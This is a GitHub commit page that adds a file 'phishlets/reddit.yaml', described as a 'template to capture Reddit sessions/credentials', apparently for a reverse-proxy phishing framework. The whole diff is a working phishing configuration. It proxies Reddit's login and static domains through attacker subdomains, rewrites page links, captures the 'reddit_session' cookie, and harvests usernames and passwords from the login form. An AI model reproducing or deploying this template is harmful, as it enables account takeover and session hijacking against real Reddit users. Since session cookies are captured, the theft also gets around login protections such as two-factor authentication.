Skip to content

Commit

Permalink
Template to capture Reddit sessions/credentials
Browse files Browse the repository at this point in the history
  • Loading branch information
customsync committed Aug 4, 2018
1 parent 9a55712 commit 9f6eb6b
Showing 1 changed file with 26 additions and 0 deletions.
26 changes: 26 additions & 0 deletions phishlets/reddit.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
name: 'reddit'
author: '@customsync'
min_ver: '2.0.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'reddit.com', session: true, is_landing: true}
- {phish_sub: 'win', orig_sub: 'www', domain: 'redditstatic.com', session: false, is_landing: false}
- {phish_sub: 'events', orig_sub: 'events', domain: 'reddit.com', session: false, is_landing: false}
sub_filters:
- {hostname: 'www.reddit.com', sub: 'www', domain: 'reddit.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
- {hostname: 'www.reddit.com', sub: 'www', domain: 'reddit.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
- {hostname: 'www.redditstatic.com', sub: 'www', domain: 'redditstatic.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
- {hostname: 'www.redditstatic.com', sub: 'www', domain: 'redditstatic.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
- {hostname: 'www.redditstatic.com', sub: 'www', domain: 'redditstatic.com', search: 'src="https://{hostname}', replace: 'src="https://{hostname}', mimes: ['text/html', 'application/json']}
- {hostname: 'events.reddit.com', sub: 'www', domain: 'reddit.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
- {hostname: 'events.reddit.com', sub: 'www', domain: 'reddit.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
auth_tokens:
- domain: 'www.reddit.com'
keys: ['reddit_session']
user_regex:
key: 'username'
re: '(.*)'
pass_regex:
key: 'password'
re: '(.*)'
landing_path:
- '/login'

0 comments on commit 9f6eb6b

Please sign in to comment.